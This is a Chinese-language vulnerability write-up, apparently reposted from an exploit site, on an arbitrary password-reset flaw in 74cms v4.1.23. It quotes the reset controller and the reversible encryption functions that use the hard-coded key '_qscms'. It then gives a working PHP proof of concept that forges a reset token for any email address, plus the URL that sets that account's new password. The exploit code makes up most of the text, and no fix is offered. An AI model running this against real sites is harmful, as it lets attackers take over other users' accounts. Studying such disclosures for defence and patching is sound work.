74cms任意用户密码修改

测试版本: 74cms_v4.1.23

加密解密key=’_qscms’,固定密钥可逆。
74cms\Application\Home\Controller\MembersController.class.php文件中user_setpass函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function user_setpass(){
if(IS_POST){
$retrievePassword = session('retrievePassword');
if($retrievePassword['token'] != I('post.token','','trim')) $this->error('非法参数!');
$user['password']=I('post.password','','trim,badword');
!$user['password'] && $this->error('请输入新密码!');
if($user['password'] != I('post.password1','','trim,badword')) $this->error('两次输入密码不相同,请重新输入!');
$passport = $this->_user_server();
if(false === $uid = $passport->edit($retrievePassword['uid'],$user)) $this->error($passport->get_error());
$tpl = 'user_setpass_sucess';
session('retrievePassword',null);
}else{
parse_str(decrypt(I('get.key','','trim')),$data);
//exit(var_dump($data)); //array (size=3)
// 'e' => string 'test123@test.com' (length=16)
// 'k' => string '13b4c66feebfd64a' (length=16)
// 't' => string '9487070991' (length=10)
!fieldRegex($data['e'],'email') && $this->error('找回密码失败,邮箱格式错误!','user_getpass');
$end_time=$data['t']+24*3600;
if($end_time<time()) $this->error('找回密码失败,链接过期!','user_getpass');
$key_str=substr(md5($data['e'].$data['t']),8,16);
//exit($var_dump($key_str));
if($key_str!=$data['k']) $this->error('找回密码失败,key错误!','user_getpass');
if(!$uid = M('Members')->where(array('email'=>$data['e']))->getfield('uid')) $this->error('找回密码失败,帐号不存在!','user_getpass');
$token=substr(md5(mt_rand(100000, 999999)), 8,16);
session('retrievePassword',array('uid'=>$uid,'token'=>$token));
$this->assign('token',$token);
}
$this->_config_seo(array('title'=>'找回密码 - '.C('qscms_site_name')));
$this->display($tpl);
}

74cms\Application\Common\Common\function.php中查看解密函数decrypt()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function encrypt($txt, $key = '_qscms') {
// 使用随机数发生器产生 0~32000 的值并 MD5()
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
// 变量初始化
$ctr = 0;
$tmp = '';
// for 循环,$i 为从 0 开始,到小于 $txt 字串长度的整数
for($i = 0; $i < strlen($txt); $i++) {
// 如果 $ctr = $encrypt_key 的长度,则 $ctr 清零
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
// $tmp 字串在末尾增加两位,其第一位内容为 $encrypt_key 的第 $ctr 位,
// 第二位内容为 $txt 的第 $i 位与 $encrypt_key$ctr 位取异或。然后 $ctr = $ctr + 1
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
// 返回结果,结果为 passport_key() 函数返回值的 base64 编码结果
return base64_encode(passport_key($tmp, $key));
}

/**
* Passport 解密函数
*
* @param string 加密后的字串
* @param string 私有密匙(用于解密和加密)
*
* @return string 字串经过私有密匙解密后的结果
*/
//key=AGUGOwJ0AmxSKgZ2VmRcNAdnACNTMQRnViJQZQ50XXgCLARnBWhVM1Z7CmUFO141A2MLbwBiBTUGMARiWjUFMQBlBmQCZgJtUm8GNlY0XCAHIAA7UzwEY1ZuUDcON107AjIEPQU%2BVW8%3D
//key=AGUGOwJ0AmxSKgZ2VmRcNAdnACNTMQRnViJQZQ50XXgCLARnBWhVM1Z7CmUFO141A2MLbwBiBTUGMARiWjUFMQBlBmQCZgJtUm8GNlY0XCAHIAA7UzwEY1ZuUDcON107AjIEPQU+VW8=
function decrypt($txt, $key = '_qscms') {
// $txt 的结果为加密后的字串经过 base64 解码,然后与私有密匙一起,
// 经过 passport_key() 函数处理后的返回值
$txt = passport_key(base64_decode($txt), $key);
// 变量初始化
$tmp = '';
// for 循环,$i 为从 0 开始,到小于 $txt 字串长度的整数
for ($i = 0; $i < strlen($txt); $i++) {
// $tmp 字串在末尾增加一位,其内容为 $txt 的第 $i 位,
// 与 $txt 的第 $i + 1 位取异或。然后 $i = $i + 1
$tmp .= $txt[$i] ^ $txt[++$i];
}
// 返回 $tmp 的值作为结果
return $tmp;
}
/**
* Passport 密匙处理函数
*
* @param string 待加密或待解密的字串
* @param string 私有密匙(用于解密和加密)
*
* @return string 处理后的密匙
*/
function passport_key($txt, $encrypt_key) {
// 将 $encrypt_key 赋为 $encrypt_key 经 md5() 后的值
$encrypt_key = md5($encrypt_key);
// 变量初始化
$ctr = 0;
$tmp = '';
// for 循环,$i 为从 0 开始,到小于 $txt 字串长度的整数
for($i = 0; $i < strlen($txt); $i++) {
// 如果 $ctr = $encrypt_key 的长度,则 $ctr 清零
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
// $tmp 字串在末尾增加一位,其内容为 $txt 的第 $i 位,
// 与 $encrypt_key 的第 $ctr + 1 位取异或。然后 $ctr = $ctr + 1
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
// 返回 $tmp 的值作为结果
return $tmp;
}

加密解密密钥’_qscms’,存在任意用户密码修改漏洞。

漏洞POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
function encrypt($txt, $key = '_qscms') {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(passport_key($tmp, $key));
}
function passport_key($txt, $encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

$email='test123@test.com';
$a = array('e'=>$email,'k'=>substr(md5($email.'9487070991'),8,16),'t'=>'9487070991');
$test = http_build_query($a);
echo urlencode(encrypt($test));
?>

获取key访问下面链接,可以直接设置email新密码
http://127.0.0.1/74cms/index.php?m=&c=members&a=user_setpass&key=$key

原文链接:http://www.0day5.com/archives/4276/